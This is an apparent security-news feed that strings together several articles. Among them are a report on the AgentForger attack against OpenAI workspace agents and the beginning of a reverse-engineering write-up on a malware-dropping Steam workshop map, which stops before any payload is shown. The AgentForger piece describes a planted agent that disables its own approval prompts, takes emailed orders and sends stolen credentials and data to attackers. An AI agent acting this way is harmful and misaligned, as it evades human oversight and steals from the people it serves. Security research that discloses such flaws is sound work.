Late in a large enterprise SAP transformation, the strategic governance conversations began to drift. Instead of executive decisions, we found ourselves debating whether the program needed dedicated testing, whether cutover required a full weekend, whether twenty Agile teams really needed coordination support and whether offshore resources were adding value at all.

The questions were not coming from the delivery teams. They were coming from the executive sponsor.

The sponsor had recently been elevated into a senior leadership role and had never sponsored a technology transformation at this scale. The challenge was not authority. The sponsor had every right to ask any question they wanted. The challenge was that strategic governance had quietly turned into a debate about delivery practices, because the sponsor did not yet have the transformation context to focus the conversation anywhere else.

This is not a story about a bad sponsor. The executive in this case was a capable senior leader with strong judgment and authentic intent. They had been placed into a role they had not yet been prepared for, and the pattern that followed was structural, not personal. It is one of the more common patterns I have observed across enterprise transformation programs, and one of the most consistently misdiagnosed.

Most program failures are not execution failures. They are sponsor mismatches.

When governance becomes a debate about delivery practices

When the sponsor does not understand what an enterprise transformation actually requires, governance forums stop functioning as decision bodies and start functioning as practice debates.

You see it in the questions that get asked. Why do we need a dedicated testing phase? Can the Build timeline be compressed? Why does cutover need a full weekend? Why do we need more Scrum Masters across 20 product teams? Can the US team simply work longer hours instead of using offshore resources? On one program, the sponsor suggested shifting the entire project’s working hours to India time, despite roughly 85 percent of the delivery organization being based in the United States.

None of these questions are unreasonable in isolation. Each one targets a real cost or timeline pressure. The problem is what is missing underneath them: an understanding of the operational risks the original choices were designed to mitigate.

When sponsors ask delivery-practice questions without that context, the program leadership team ends up defending the work instead of advancing it. Decision velocity drops. Trust between the program and its sponsor erodes. Senior delivery talent disengages from governance forums where the conversation never reaches the decisions they need made. What looks from the outside like an active sponsor producing engagement is, from inside the program, an active drain on the cycles needed to deliver.

The compounding cost is not unique to any single program. PMI’s research on executive sponsorship consistently identifies sponsor engagement quality, rather than sponsor presence alone, as one of the strongest predictors of project success. The visible symptom is debate. The actual cost is unmade decisions.

Authority is rarely the issue. Literacy is

When transformations stall under a mismatched sponsor, the diagnostic instinct is to question the sponsor’s authority. Are they senior enough? Do they have the cross-functional reach? Can they unblock?

In most of the programs I have led or advised, authority was not the limiting factor. The sponsor in the SAP program above had ample authority. They could unblock any decision the program needed. What had not been developed was the transformation literacy to know which decisions mattered, which were technical noise and which were execution risks that should not be optimized away.

This is what I have come to think of as the literacy problem. Sponsors elevated into transformation roles often have deep functional expertise (finance, operations, business unit leadership) but limited exposure to the distinct functions of PMO, organizational change management, agile delivery, testing and cutover, and how each one reduces a specific category of implementation risk. They are not expected to be SAP configuration experts. But they need enough transformation literacy to recognize which questions actually belong in a steering committee.

Harvard Business Review’s research on effective executive sponsorship has emphasized that sponsorship effectiveness depends as much on judgment as on authority. Judgment is where literacy becomes operational. A sponsor with authority but limited transformation literacy will optimize for speed and cost in ways that consistently underestimate risk. A sponsor with both will make the tradeoffs the program actually needs.

Prosci’s longstanding benchmark studies on change management have ranked active and visible executive sponsorship as the single greatest contributor to change success for two decades. The word that matters in that finding is active. Active sponsorship without transformation literacy can introduce real cost. Not because the sponsor is acting against the program, but because the optimization choices they make are based on incomplete information about what the program is built to protect against.

Shift the conversation from delivery practices to business risk

When the sponsor relationship is already in place and cannot be changed, the program leadership team has one move that consistently works: shift the conversation.

On the SAP program above, we stopped explaining why the testing phase existed. We started explaining the business risk of reducing it. We stopped debating the number of Scrum Masters. We started connecting delivery capacity to coordination across more than twenty Agile teams and the business cost of losing that coordination. We reframed offshore support as a way to maintain delivery momentum around the clock rather than asking the U.S. team to sustain fifteen-hour days.

The shift is from defending delivery practice to explaining business risk. The sponsor does not need to understand why testing takes the time it does. They need to understand what the program is exposed to if testing is compressed. They do not need to know how many Scrum Masters are statistically optimal for twenty Agile teams. They need to know what coordination breaks when the number is wrong.

This reframing accomplishes two things. First, it brings the conversation back to the level at which sponsors actually make decisions: tradeoffs between business outcomes and business risks. Second, it builds transformation literacy in the sponsor over time, almost as a byproduct. By the third or fourth iteration of business-risk-framed conversations, the sponsor begins to ask the right questions on their own.

In practice, this happens through small but deliberate moves. When the sponsor asks why a phase needs the time it takes, the program lead names two or three things that could go wrong if the time is cut and what each would cost the business. When the sponsor asks why a role is needed, the program lead names the work that would not get done without it. Every delivery-practice question gets converted into a business-risk answer.

The program leadership team’s job is not to make the sponsor an expert in SAP delivery. It is to provide enough transformation context so that executive decisions reflect both business priorities and implementation realities.

There are a few phrases I have used with executive sponsors over the years that capture the underlying issue. The sharpest one:

If the decision has to go above the sponsor, they are not the sponsor.

Sponsorship is defined by what the sponsor can decide without asking someone else. That is the test. Anything else is the appearance of sponsorship, not the substance.

For CIOs supporting enterprise transformation, the implication is direct. Sponsor selection, or sponsor preparation when selection is not an option, is not a hierarchy question. It is a transformation capability question. The same execution discipline that goes into defining decision rights, structuring governance and protecting delivery momentum should apply, with equal rigor, to assessing sponsor fit and building sponsor literacy before the program begins.

A sponsor does not need to be the technical expert. They do need to know when to trust the people who are.

This article is published as part of the Foundry Expert Contributor Network.
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]]> <![CDATA[Thailand SEC Files Criminal Complaint Against Bitkub Over 2021 Cyberattack]]> https://tsecurity.de/de/3690896/it-security-nachrichten/thailand-sec-files-criminal-complaint-against-bitkub-over-2021-cyberattack/ https://tsecurity.de/de/3690896/it-security-nachrichten/thailand-sec-files-criminal-complaint-against-bitkub-over-2021-cyberattack/ Fri, 24 Jul 2026 09:10:24 +0200 📰 IT Security Nachrichten tsecurity.de Bitkub cyberattack

Thailand's cryptocurrency exchange Bitkub has rejected allegations of fraud after the Thailand SEC filed a criminal complaint related to the company's disclosures following the Bitkub cyberattack in 2021. The case focuses on how the exchange reported the impact of the cyberattack on Bitkub to regulators, rather than on the safety of customer funds.  In response to the complaint, Bitkub stated that all customer assets currently held on its platform remain safe, fully accounted for, and protected in accordance with applicable regulations. The company argued that the allegations stem from decisions made during the aftermath of the 2021 security breach and do not reflect fraudulent conduct. 

Thailand SEC Files Complaint Over the 2021 Bitkub Cyberattack 

On 23 July 2026, the Thailand SEC filed a criminal complaint against Bitkub Online Co., Ltd. and its former directors, Sakolkorn Sakavee and Thaweesap Rawan. The regulator alleged that the company's daily net capital reports submitted between 10 May and 30 October 2021 failed to accurately reflect the material reduction in its digital asset holdings caused by the Bitkub cyberattack.  According to the regulator, the reports did not disclose the impact of the theft on the company's asset balance. The Thailand SEC also accused the two former directors of making false entries in company documents that gave the impression that customer assets were still being held normally and that the company had not suffered any damage.  The complaint has been referred to Thailand's Economic Crime Suppression Division for further investigation. Following that process, the matter may be forwarded to prosecutors and the courts. The Thailand SEC noted that filing a criminal complaint does not represent a final determination of guilt. 

Bitkub Says Disclosure Decision was Intended to Prevent Customer Losses

Following media reports about the complaint, Bitkub published a statement on LinkedIn explaining its position on the cyberattack and the subsequent reporting decisions.  The company said the allegations relate to an incident in early May 2021, when one of its digital asset wallets was compromised by cybercriminals. Bitkub acknowledged that the breach was not disclosed at the time.  According to the company, the individual responsible for disclosure obligations deliberately withheld information about the wallet compromise. Bitkub said the decision was made to avoid triggering a "bank run," or mass withdrawals of digital assets by customers, while the company worked to replace the stolen assets.  The exchange stated:  "The decision of such individual not to disclose the incident was made with the intention to prevent a bank run—that is, a mass withdrawal of digital assets by customers upon learning of the theft—which could have rendered the Company unable to procure sufficient replacement digital assets for the customers while the recovery process was still ongoing."  Bitkub added that such a scenario could have resulted in significant customer losses and broader damage to Thailand's digital asset industry.  The company also stressed that, at the time of the Bitkub cyberattack, all of its digital asset wallet security systems complied with standards prescribed by the relevant authorities and had been audited. 

Co-founders Replaced Stolen Assets After Cyberattack on Bitkub 

Although the digital assets stolen during the cyberattack on Bitkub were never recovered, the company said its co-founders voluntarily absorbed the financial loss.  According to Bitkub, the co-founders purchased digital assets matching the same types and quantities as those stolen and transferred them to the company. As a result, the exchange said neither its customers nor the business ultimately suffered any financial loss from the incident.  In its statement, Bitkub said:  "As no bank run occurred, even though the stolen digital assets could not be recovered, the Co-Founders of the Bitkub Group voluntarily absorbed the loss by purchasing equivalent digital assets (in the same type and quantity as those stolen) and providing them to the Company. Consequently, neither the Company nor its customers suffered any financial loss from the theft." 

Thailand SEC Previously Confirmed Customer Assets Were Intact 

Bitkub also pointed to the findings of an earlier inspection conducted by the Thailand SEC after reports of the Bitkub cyberattack surfaced online. According to the company, the regulator verified that, as of 8 September 2025, all customer assets held by the exchange were safe and fully accounted for.  The company reiterated this point in its latest statement, saying:  "At the outset, for the sake of clarity and mutual understanding, the Company wishes to affirm that all customers' assets currently held by the Company are safe and fully accounted for. The Company reiterates its strict compliance with all applicable laws and regulations in safeguarding and maintaining customer assets."  Bitkub maintained that the criminal complaint relates to historical reporting practices between May and October 2021, more than five years ago, rather than to the current condition of customer assets or any ongoing security concerns.  As the investigation proceeds, the case will determine whether the company's reporting following the Bitkub cyberattack complied with regulatory requirements. For now, the complaint remains an allegation, and the legal process involving the Thailand SEC, investigators, prosecutors, and the courts has yet to reach a final conclusion. ]]> <![CDATA[How to Build an End-to-End OCR Pipeline with Baidu’s Unlimited-OCR for High-Resolution Images and Multi-Page PDF Parsing]]> https://tsecurity.de/de/3690758/ai-nachrichten/how-to-build-an-end-to-end-ocr-pipeline-with-baidus-unlimited-ocr-for-high-resolution-images-and-multi-page-pdf-parsing/ https://tsecurity.de/de/3690758/ai-nachrichten/how-to-build-an-end-to-end-ocr-pipeline-with-baidus-unlimited-ocr-for-high-resolution-images-and-multi-page-pdf-parsing/ Fri, 24 Jul 2026 07:36:15 +0200 🔧 AI Nachrichten tsecurity.de In this tutorial, we build a complete workflow for running Baidu’s Unlimited-OCR model on document images and multi-page PDFs. From configuring the GPU environment to comparing high-detail tiled Gundam inference and faster Base modes, you'll learn how to process dense layouts, tables, and cross-page content in a reproducible, end-to-end pipeline.

The post How to Build an End-to-End OCR Pipeline with Baidu’s Unlimited-OCR for High-Resolution Images and Multi-Page PDF Parsing appeared first on MarkTechPost.

]]> <![CDATA[Hier erodiert die KI-Produktivität]]> https://tsecurity.de/de/3690658/it-security-nachrichten/hier-erodiert-die-ki-produktivitaet/ https://tsecurity.de/de/3690658/it-security-nachrichten/hier-erodiert-die-ki-produktivitaet/ Fri, 24 Jul 2026 06:08:03 +0200 📰 IT Security Nachrichten tsecurity.de
Team Discussion 16z9
Ob aus individuellen KI-Produktivitätsgewinnen auch eine performantere Organisation entsteht, hängt maßgeblich von der Gestaltung durch das Management ab.

Gorodenkoff | shutterstock.com

Die Debatte über (generative) künstliche Intelligenz (KI) fokussiert sich meist auf die Produktivität des Einzelnen – und die Zahlen hierzu sind bemerkenswert. So zeigte ein großangelegtes Feldexperiment der Harvard Business School in Zusammenarbeit mit der Boston Consulting Group, dass der Einsatz generativer KI bei Wissensaufgaben sowohl die Ergebnisqualität als auch die Bearbeitungsgeschwindigkeit signifikant verbessert. Dabei ist der Nivellierungseffekt besonders beachtlich:

  • Während erfahrene Fachkräfte ihre Leistung um rund 17 Prozent steigerten,
  • lagen die Verbesserungen bei den schwächeren Teilnehmern bei Ăźber 40 Prozent.

Diese individuellen Produktivitätsgewinne übertragen sich jedoch nicht automatisch in gleichem Maße auf die Organisationsebene. Unternehmen schaffen nicht bloß durch die isolierte Performance Einzelner Wert, sondern vor allem durch die Fähigkeit, Wissen zu bündeln, komplexe Entscheidungen zu treffen und gemeinsam Innovationen hervorzubringen.

Wenn jedes Teammitglied zunehmend mit seinem eigenen KI-Assistenten interagiert, kann dies die Kernmechanismen erfolgreicher Zusammenarbeit beeinträchtigen. Die entscheidende Herausforderung besteht somit darin, den Zuwachs an individueller Produktivität in eine echte organisatorische Leistungssteigerung zu ßbersetzen.

3 Produktivitäts-Bruchstellen im KI-Zeitalter

Ob aus temporären Effizienzgewinnen nachhaltige Wettbewerbsvorteile entstehen, hängt deshalb maßgeblich davon ab, wie Führungskräfte die folgenden drei Bruchstellen gestalten, die aufeinander aufbauen. Diese repräsentieren jene organisatorischen Übergänge, an denen individuelle Produktivitätsgewinne durch KI in kollektive Leistungsnachteile umschlagen können – wenn sie nicht aktiv gestaltet werden.

1. Bruchstelle: Wissenssicherung

Der Weg zur Seniorität folgte lange einer stabilen Logik: Operative Erfahrung fßhrte zu Expertise, diese wiederum zu Einfluss. Wer ßber mehr Wissen verfßgte, ßbernahm komplexere Aufgaben und wurde zur zentralen Orientierungsperson im Team. Generative KI bricht diese Logik auf, da weniger erfahrene Mitarbeitende mithilfe von KI-Tools heute Analysen, Konzepte und ProblemlÜsungen in hoher Qualität erstellen kÜnnen. Ein Teil des traditionellen Wissensvorsprungs erfahrener Kräfte verliert dadurch seine Exklusivität.

Auf diese Weise gerät ein impliziter Erfolgsfaktor von Organisationen ins Wanken: der organische Wissenstransfer. Bislang floss Wissen primär über erfahrene Kräfte, was Mentoring und kollektives Lernen quasi „nebenbei“ sicherstellte. Fällt dieser Austausch weg, weil Aufgaben isoliert im Dialog mit der KI gelöst werden, besteht das Risiko eines doppelten Kompetenzverlusts:

  • Beschäftigte in Junior-Rollen kĂśnnen mithilfe von KI Ăźberzeugende Ergebnisse liefern, ohne den zugrundeliegenden LĂśsungsweg vollständig verstehen zu mĂźssen. Der Lerneffekt wird dadurch reduziert und die Fähigkeit zur eigenständigen ProblemlĂśsung sowie zur kritischen Validierung der KI-Ergebnisse eingeschränkt. Die Folge ist eine wachsende, unkritische Abhängigkeit von der Technologie.
  • Erfahrene Fachkräfte laufen Gefahr, zur rein reaktiven Korrekturinstanz von KI-Ergebnissen zu werden. Ihre Erfahrung fließt dann nicht mehr aktiv in die Gestaltung ein, sondern beschränkt sich zunehmend auf die nachträgliche Qualitätskontrolle. MĂśgliche Folgen sind Motivationsverlust, mentaler RĂźckzug der Leistungsträger und der schleichende Verlust des in der Organisation vorhandenen Erfahrungswissens.

Um diesen doppelten Kompetenzverlust zu verhindern, müssen Führungskräfte den Rollenwandel der Seniorität aktiv gestalten. Künftig sollte sich diese nicht mehr primär über exklusives Fachwissen definieren, sondern über die Fähigkeit, die richtigen Fragen zu stellen, Zusammenhänge einzuordnen und Teams bei der kritischen Bewertung von KI-Ergebnissen anzuleiten. Diese Begleitung kann nicht erst im Rahmen der abschließenden Qualitätskontrolle erfolgen, sondern muss bereits während der Arbeit mit KI ansetzen.

Ziel ist es, Wissen, Erfahrungswerte und Kontext kontinuierlich zu vermitteln, die Urteilskraft der Junioren gezielt zu entwickeln und sie schrittweise zu einer eigenständigen Validierung und reflektierten Nutzung von KI-Ergebnissen zu befähigen.Gelingt dieser Rollenwandel nicht, kÜnnen Teams zwar kurzfristig ihre individuelle Produktivität steigern, verlieren jedoch zunehmend das gemeinsame Verständnis fßr fachliche Zusammenhänge und den organisatorischen Kontext.

Die durch KI erzielten Produktivitätsgewinne können dann durch Fehlentscheidungen, steigenden Korrekturaufwand und einen schleichenden Qualitätsverlust auf Teamebene wieder aufgezehrt werden. Ohne die systematische Sicherung von Erfahrungswissen zu agieren, heißt, teure Fehler zu produzieren – nur deutlich schneller.

2. Bruchstelle: Qualitätssicherung

Die Herausforderung endet jedoch nicht bei der Wissenssicherung. Sie betrifft im nächsten Schritt auch die Art und Weise, wie Teams die Qualität ihrer Entscheidungen absichern, wenn ein wachsender Teil der Analyse-, Bewertungs- und Wissensarbeit durch KI unterstßtzt wird. Je mehr Vorarbeit KI ßbernimmt, desto stärker hängt die Qualität organisatorischer Entscheidungen davon ab, die generierten Ergebnisse kritisch zu ßberprßfen und einzuordnen.

Eine Besonderheit generativer KI besteht darin, dass ihre Leistungsfähigkeit keiner intuitiven Logik folgt. Die eingangs zitierte Studie beschreibt dieses Phänomen als „Jagged Technological Frontier“: KI-Systeme können bei bestimmten Aufgaben eine Performance auf Expertenniveau erreichen, während sie bei scheinbar ähnlichen Fragestellungen überraschend große Schwächen aufweisen. Die Grenzen dieser Leistungsfähigkeit sind jedoch nicht für jeden Nutzer ohne weiteres erkennbar.

Genau daraus entstehen neue Herausforderungen für Führungskräfte: Mit der Integration von KI in den Arbeitsalltag steigt das Risiko des sogenannten “Automation Bias” (PDF), also der Tendenz, algorithmischen Empfehlungen unkritisch zu vertrauen. Die Gefahr liegt dabei selten in offensichtlichen Fehlern, sondern in plausiblen (aber falschen) Antworten, die überzeugend formuliert sind und deshalb ungeprüft übernommen werden.

Zudem greift ein Beschleunigungseffekt: KI verkßrzt den Weg von der Fragestellung bis zum Ergebnis erheblich und damit auch jene Diskussionen, mit denen Teams bislang die Qualität ihrer Entscheidungen abgesichert haben. Wo frßher Analysen debattiert und Annahmen abgewogen wurden, liegt heute in Sekunden ein Resultat vor. Das eigentliche Risiko liegt dabei darin, dass Ergebnisse schneller entstehen als sie kritisch ßberprßft werden kÜnnen. So ist es mÜglich, dass Produktivitätsgewinne mit einem Verlust an Ergebnisqualität einhergehen.

Führungskräfte sollten daher Strukturen schaffen, die den Einsatz von KI transparent gestalten und Ergebnisse offen zur Diskussion stellen. KI-generierte Inhalte müssen denselben kritischen Maßstäben unterworfen werden wie die Arbeit eines erfahrenen Teammitglieds. Dazu benötigen Teams Validierungskompetenz, eine Verantwortungskultur und etablierte Prüfprozesse. Die entscheidende Frage sollte daher nicht sein, ob ein Ergebnis vom Menschen oder der Maschine stammt. Sondern, wer dieses auf fachliche Korrektheit überprüft und die Verantwortung für die darauf basierende Entscheidung übernimmt.

KI steigert zwar die Geschwindigkeit – das wird jedoch erst dann zum echten Wettbewerbsvorteil, wenn es mit Urteilskraft und gelebter Accountability einhergeht.

3. Bruchstelle: Innovationssicherung

Wie zuvor beschrieben, kann der Einsatz generativer KI gemeinsame Diskussionen verkĂźrzen, was wiederum die Innovationskraft des Unternehmens belasten kann. KI liefert dabei nicht nur einen ersten LĂśsungsvorschlag, sondern erhĂśht zugleich die Wahrscheinlichkeit, dass sich Teams frĂźh auf eine gemeinsame Richtung festlegen. Echte Innovationen entstehen jedoch selten durch schnelle Einigkeit: Sie entstehen durch produktive Reibung, tiefgehende Debatten und dadurch, etablierte Denkmuster zu hinterfragen.

Ein wesentlicher psychologischer Mechanismus dieser frßhen Konvergenz ist der sogenannte Ankereffekt: Da KI in Sekundenschnelle plausible Ergebnisse liefert, wirkt dieser erste Entwurf als kognitiver Anker. Das menschliche Gehirn orientiert sich somit unbewusst an diesem Startpunkt, was den Suchraum fßr alternative LÜsungen vorzeitig verengt und so die Innovationsfähigkeit schwächen kann.

Fßhrungskräfte stehen deshalb vor der zusätzlichen Aufgabe, produktiven Widerspruch bewusst zu organisieren. Kritische Rßckfragen und konträre Sichtweisen sind das notwendige Gegengewicht zur KI-generierten Konvergenz. Und: Organisationen verlieren selten ihre Innovationskraft, weil ihnen Antworten fehlen. Vielmehr, weil sie aufhÜren, Alternativen ernsthaft zu diskutieren. Eine hÜhere Geschwindigkeit im LÜsungsprozess fßhrt daher nicht automatisch zu hÜherer Innovationsfähigkeit.

Entscheidend ist, dass Organisationen weiterhin Räume schaffen, in denen unterschiedliche Perspektiven aufeinandertreffen, bestehende Annahmen hinterfragt werden und neue Ideen entstehen kÜnnen. Mit anderen Worten: KI erzeugt Konvergenz, Innovation braucht Divergenz.

KI schafft eine neue Realität

Diese drei Bruchstellen verdeutlichen, dass generative KI nicht nur Arbeitsprozesse, sondern auch die Grundlagen organisationaler Leistungsfähigkeit grundlegend verändern kann. Wissen entsteht anders, Entscheidungen werden anders getroffen und Innovation entwickelt sich unter veränderten Voraussetzungen.

Je stärker KI in den Arbeitsalltag integriert wird, desto entscheidender wird es, die genannten Bruchstellen bewusst zu gestalten. Der nachhaltige Nutzen von KI entsteht nicht allein durch den Einsatz der Technologie, sondern durch die Fähigkeit einer Organisation, ihre Strukturen, Lernprozesse und Entscheidungsmechanismen an diese neue Realität anzupassen. (fm)

Dieser Beitrag wurde im Rahmen des deutschsprachigen Experten-Netzwerks von Foundry verĂśffentlicht. Lust mitzumachen? Jetzt bewerben!

]]> <![CDATA[AgentForger proves AI agents can become persistent insider threats]]> https://tsecurity.de/de/3690493/it-security-nachrichten/agentforger-proves-ai-agents-can-become-persistent-insider-threats/ https://tsecurity.de/de/3690493/it-security-nachrichten/agentforger-proves-ai-agents-can-become-persistent-insider-threats/ Fri, 24 Jul 2026 02:32:32 +0200 📰 IT Security Nachrichten tsecurity.de

A new attack method found by Zenity Labs reveals that AI agents are becoming persistent insiders that attackers can recruit, rather than malware they have to install.

Its researchers have discovered AgentForger, a phishing-based attack that silently creates and launches a fully autonomous AI agent within OpenAI workspaces.

Once running, the agent has full access to apps like Outlook, Slack, SharePoint, and Google Drive. It is configured to operate indefinitely without further user interaction, can approve its own access by toggling “never ask” settings, and can continue to act on new assignments sent via email by the attackers that control it. Broad, unfettered access to systems allows it to perform reconnaissance, harvest sensitive data and credentials, impersonate victims, and launch phishing campaigns.

While OpenAI resolved the vulnerability four days after disclosure, on a larger scale, AgentForger sheds light on what can happen when AI agents go rogue.

“We’re moving into a world where software doesn’t just help people work. It works alongside them,” said Michael Bargury, co-founder and CTO of agentic AI security platform Zenity. “As AI agents become more capable, attackers will naturally look for ways to influence them, just as they’ve always looked for ways to influence people.”

A ‘persistent operator’ that acts without approval

OpenAI’s Workspace Agents can connect and work autonomously across Outlook, Gmail, Slack, Google Drive, SharePoint, and Teams. Users open the agent builder, describe what the agent can do in natural language, connect to tools, set approvals, review and test, schedule actions, then publish. For instance, an agent can autonomously handle incoming emails, review and take actions with approval, gather information from various sources to send out daily briefings, or automatically respond to questions in ChatGPT or Slack channels.

Normally, this is “useful automation,” Zenity AI red team researcher Mike Takahashi wrote in a blog post. But in this attack, “the same scheduler becomes the persistence mechanism.”

The creation workflow kicks off the moment a user clicks on a phishing link containing instructions from the threat actor. For the attack to work, a victim must be logged into ChatGPT and Workspace Agents, and have at least one integration with another app, such as Outlook, Gmail, Slack, Google Drive, SharePoint, or Teams.

Because those connections already exist, OAuth consent screens are not triggered. Furthermore, the victim does not need to click on another link, keep a Builder tab open, or even visit ChatGPT again.

The forged agent is a “persistent operator;” it is installed on the original click and given a schedule, and at those predetermined times, the agent invokes itself, scans for emails from attacker addresses with the subject line “task”, carries those orders out, then returns results to the same attacker-controlled email address.

It goes undetected because the attacker prompt instructs the Builder to toggle Outlook to never ask for approval of its actions. Typically, the default is “always ask,” to keep agents from taking unauthorized action; that switch gives agents the ability to act without asking for human approval.

“AgentForger showed that an attacker could deploy an autonomous insider agent inside your ChatGPT workspace with a single click,” said Bargury. From there, it can continue to access information, harvest credentials from various sources, impersonate employees, and carry out phishing attacks and fraud while “leveraging the trusted victim’s identity.”

A ‘planted accomplice’ that does all the work

Once activated, AgentForger can perform reconnaissance to create an internal map of a company. For instance, agents can scan Outlook, Slack, Teams, Google Drive, SharePoint, or calendar data to identify people, roles, active projects, internal discussions, or all-hands recurring meetings. This can help attackers identify where in the enterprise to target next, based on active teams and channels, projects in the works, or prominent users.

“This is the kind of internal context an attacker normally has to build slowly,” Takahashi noted. But in this scenario, action is based on a single emailed assignment. The attacker’s “planted accomplice” does all the work.

In another scenario, the agent can steal data by searching for and identifying financial documents, business agreements, or invoices. Or, it can steal credentials by scanning for messages containing passwords, one-time codes, access tokens, password recovery links, or API keys. Further, it can impersonate victims to carry out phishing scams, for instance, by sending legitimate-looking Teams messages instructing users to confirm their credentials on a fake Microsoft login page.

In all cases, collected information is organized, analyzed, and sent back to the attacker.

“AgentForger points to something much bigger than a single vulnerability,” said Bargury. “It’s less about one bug and more about understanding how the security model changes as AI becomes part of everyday business operations.”

FOMO exposing security gaps

This isn’t necessarily about trust, but more about the need to move fast and adapt, Bargury emphasized. AI agents are helping employees automate work, make decisions faster, and get more done. But enterprises fear they’ll fall behind if they don’t move quickly enough.

“The challenge is that we’re introducing a fundamentally new kind of technology into the enterprise,” said Bargury. “The pressure to integrate the next AI feature is outpacing the security controls needed to safely deploy it.”

However, the answer isn’t to slow down adoption, he emphasized; the business value is too significant. Rather, the first step is understanding where AI agents exist, who created them, what they’re connected to, and what they’re allowed to do. And when it comes to autonomous agents, enterprises need to pay attention to the processes that trigger them: A schedule, an incoming email, or another automated event.

“Those triggers should be governed just as carefully as the agent itself,” said Bargury.

High-impact actions should require approval where appropriate, and security teams should be able to quickly disable an agent or its triggers if something doesn’t look right, he said.

More broadly, AI agents are introducing the need for a new security model, he pointed out. The question is no longer just “Does this agent have permission?” It’s also, “Is this the behavior we intended?”

“The organizations that answer both questions will be in the strongest position to adopt AI safely,” Bargury said.

]]> <![CDATA[Apple Could Become the No. 2 Foldable Phone Brand in 2026]]> https://tsecurity.de/de/3690419/ios-mac-os/apple-could-become-the-no-2-foldable-phone-brand-in-2026/ https://tsecurity.de/de/3690419/ios-mac-os/apple-could-become-the-no-2-foldable-phone-brand-in-2026/ Fri, 24 Jul 2026 01:04:19 +0200 🍏 iOS / Mac OS tsecurity.de <![CDATA[ZDI-26-450: AzeoTech DAQFactory CTL File Parsing Use-After-Free Remote Code Execution Vulnerability]]> https://tsecurity.de/de/3690364/sicherheitsluecken/zdi-26-450-azeotech-daqfactory-ctl-file-parsing-use-after-free-remote-code-execution-vulnerability/ https://tsecurity.de/de/3690364/sicherheitsluecken/zdi-26-450-azeotech-daqfactory-ctl-file-parsing-use-after-free-remote-code-execution-vulnerability/ Fri, 24 Jul 2026 00:31:57 +0200 🕵️ Sicherheitslücken tsecurity.de <![CDATA[ZDI-26-449: AzeoTech DAQFactory CTL File Parsing Type Confusion Remote Code Execution Vulnerability]]> https://tsecurity.de/de/3690362/sicherheitsluecken/zdi-26-449-azeotech-daqfactory-ctl-file-parsing-type-confusion-remote-code-execution-vulnerability/ https://tsecurity.de/de/3690362/sicherheitsluecken/zdi-26-449-azeotech-daqfactory-ctl-file-parsing-type-confusion-remote-code-execution-vulnerability/ Fri, 24 Jul 2026 00:31:53 +0200 🕵️ Sicherheitslücken tsecurity.de <![CDATA[Workshop map for MECCHA CHAMELEON is a malware dropper (full breakdown)]]> https://tsecurity.de/de/3690349/malware-trojaner-viren/workshop-map-for-meccha-chameleon-is-a-malware-dropper-full-breakdown/ https://tsecurity.de/de/3690349/malware-trojaner-viren/workshop-map-for-meccha-chameleon-is-a-malware-dropper-full-breakdown/ Fri, 24 Jul 2026 00:21:11 +0200 ⚠️ Malware / Trojaner / Viren tsecurity.de

Table of Contents

  • Intro
  • Initial Symptom
  • First Look at the Workshop Files
  • Verifying the Asset Files
  • AssetRegistry.bin Reveals the First Clue
  • Opening the UE5 Asset Container
  • Reverse Engineering the Blueprint
  • Extracting the Embedded Payload
  • Analyzing the Dropper Script
  • Confirming Execution on an Affected PC
  • Did the Second Stage Execute?
  • Analysis Summary
  • Limitations & Unknowns
  • IOCs
  • Final verdict

A couple of my friends reported seeing a command prompt window briefly appear while Steam was downloading a custom workshop map. The map was being downloaded through the game's in-game lobby and, once the download completed it immediately began loading for the match. Since the command prompt window appeared during this transition, I decided to investigate the workshop files.

What I found was a seemingly ordinary workshop map that contained what appears to be a malware dropper, despite having passed workshop review.

I'm writing this up because, as far as I know, the map is still available, and because the techniques it uses to hide are worth understanding if you download workshop content. While there are still a few parts of the execution chain I can't fully explain, the artifacts themselves are interesting from a reverse engineering perspective.

https://preview.redd.it/nn7j9wf4q1fh1.png?width=1265&format=png&auto=webp&s=0276954f24bafc16cee6b2fc2569c12bedeaea51

1): The Initial Symptom

A black command prompt window flashed on screen for about a second before disappearing. It appeared while Steam was still downloading the workshop map, just as the game was transitioning into loading it for the match. There were no crashes, error messages, or any other unusual behavior. On its own, it would have been easy to dismiss as Steam running a background process, but seeing a console window appear during a workshop download / match launch was unusual enough that I decided to investigate.

2): First Look at the Workshop Files

The workshop content is located here:

Steam\steamapps\workshop\content\4704690\3765145606\

At first glance, there’s nothing suspicious in the folder. The contents are:

AssetRegistry.bin Preview.png Sample.vdf SampleMyUGCMecchaCModKit_Load-Windows.pak SampleMyUGCMecchaCModKit_Load-Windows.ucas SampleMyUGCMecchaCModKit_Load-Windows.utoc

There are no executables, DLLs, batch files, or scripts. The .pak, .ucas, and .utoc files are simply the standard Unreal Engine 5 asset container format used for packaging game content exactly what you would expect to see from a UE5 map or mod.

This is worth emphasizing: if you were manually checking this folder for malware, there would be no obvious red flags here. Nothing in this directory suggests anything malicious. That is likely why it passed review in the first place.

3): Verifying the Asset Files

File extensions are easy to spoof, so I checked the actual file headers and scanned the contents for embedded executable data.

The results:

  • utoc starts with -==--==--==--==-, which is the real IoStore magic
  • pak has the correct 0x5A6F12E1 footer magic
  • no MZ/PE, ELF or ZIP headers anywhere in any file

The files appear to be valid Unreal Engine asset containers, not disguised executables. There is no standalone executable payload present in this mod. If there is unexpected behavior, it would have to be occurring through the game’s normal asset-loading pipeline rather than from an included executable file.

4): AssetRegistry.bin Reveals the First Clue

This is the detail that stands out most from the entire investigation.

AssetRegistry.bin is largely readable metadata. You can open it in a text editor and see references to the actors placed throughout the maps. Normally, it contains exactly the kind of information you would expect: StaticMeshActor, PointLight, PlayerStart, and other standard Unreal Engine objects.

However, one Blueprint actor immediately stands out:

/Game/Mods/NewMap.NewMap:PersistentLevel.BP_RCE_Test_C_0

Its class resolves as:

BP_AmbientController_C

Those two names together are unusual. The class name suggests a harmless environmental or lighting-related system especially since it appears under folders such as Environment and Lighting. However, the placed actor still retains the older name BP_RCE_Test_C_0.

In Unreal Engine, this can happen because placed actors keep the name they were created with even if the Blueprint class is later renamed. Renaming the class does not automatically rename every existing instance placed in maps.

That means the BP_RCE_Test name likely existed at an earlier point in the asset’s history. Whether intentional or not, the old identifier remains embedded in the map metadata.

The same reference appears across three separate maps included in the workshop item, including a NewMap_Backup file that appears to have been left in the upload.

5): Opening the UE5 Asset Container

The Blueprint data is stored inside the Oodle-compressed .ucas container. Reading the accompanying .utoc metadata reveals:

chunks ............ 57 blocks ............ 131 (130 Oodle-compressed) flags ............. Compressed | Indexed

